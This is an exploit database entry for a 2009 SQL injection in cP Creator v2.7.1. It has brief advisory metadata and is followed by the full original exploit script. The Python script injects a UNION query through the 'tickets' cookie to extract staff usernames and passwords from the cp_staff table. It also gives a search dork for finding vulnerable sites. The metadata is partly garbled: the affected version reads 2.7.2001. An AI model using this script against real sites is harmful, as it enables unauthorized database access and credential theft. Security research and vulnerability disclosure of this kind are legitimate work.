cP Creator v2.7.1 Remote Sql Injection

vendor:

cp_creator

by:

Sina Yazdanmehr (R3d.W0rm)

CVSS

HIGH

SQL Injection

CWE

Product Name: cp_creator

Affected Version From: 2.7.2001

Affected Version To: 2.7.2001

Patch Exists: YES

Related CWE: N/A

CPE: a:cp_creator:cp_creator

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2009

cP Creator v2.7.1 Remote Sql Injection

A vulnerability exists in cP Creator v2.7.1 which allows an attacker to inject malicious SQL queries into the application. This can be exploited to gain access to the application's database and potentially gain access to sensitive information. The vulnerability is due to insufficient sanitization of user-supplied input in the 'page' and 'task' parameters of the 'support' page. An attacker can exploit this vulnerability by sending a specially crafted HTTP request containing malicious SQL queries.

Mitigation:

The vendor has released a patch to address this vulnerability. It is recommended to apply the patch as soon as possible.

Source

Exploit-DB raw data:

#!/usr/bin/python
#####################################################################################
####                  cP Creator v2.7.1 Remote Sql Injection                     ####
#####################################################################################
#                                                                                   #
#AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #
#Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #
#Our Site : http://IrCrash.com  -> (Coming Soon Again)                              #
#My Official WebSite : http://R3dW0rm.ir                                            #
#IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm (Sina Yazdanmehr)            #
#####################################################################################
#                                                                                   #
#Download : http://www.cpcreator.net                                                #
#                                                                                   #
#Dork : Powered by cP Creator v2.7.1                                                #
#                                                                                   #
#*** Magic Quotes gpc = Off ***                                                     #
#                                                                                   #
###################################### TNX GOD ######################################
import sys,httplib
p = ''
if len(sys.argv) < 3 :
    print "\nPowered by : R3d.W0rm"
    print "Http://IrCrash.Com - Http://R3dW0rm.Ir"
    print "Usage : code.py [host] /[path]"
    exit()
co = {"Cookie": "tickets=-999' union select 0,concat(0x265E21402A,user,0x3A,pass,0x265E21402A),2,3,4,5,6,7,8 from cp_staff/*;"}
c = httplib.HTTPConnection(sys.argv[1],80)
c.request("GET", "/" + sys.argv[2] + "/?page=support&task=ticket", p, co)
data = c.getresponse().read()
if "&^!@*" not in data :
    print "Attack Failed ."
    exit()
output = data.split("&^!@*")
print "\n+-------------------------------------+"
print "\nPowered by : R3d.W0rm"
print "Http://IrCrash.Com - Http://R3dW0rm.Ir\n"
print "+-------------------------------------+"
print "\n " + output[1]

# milw0rm.com [2009-09-21]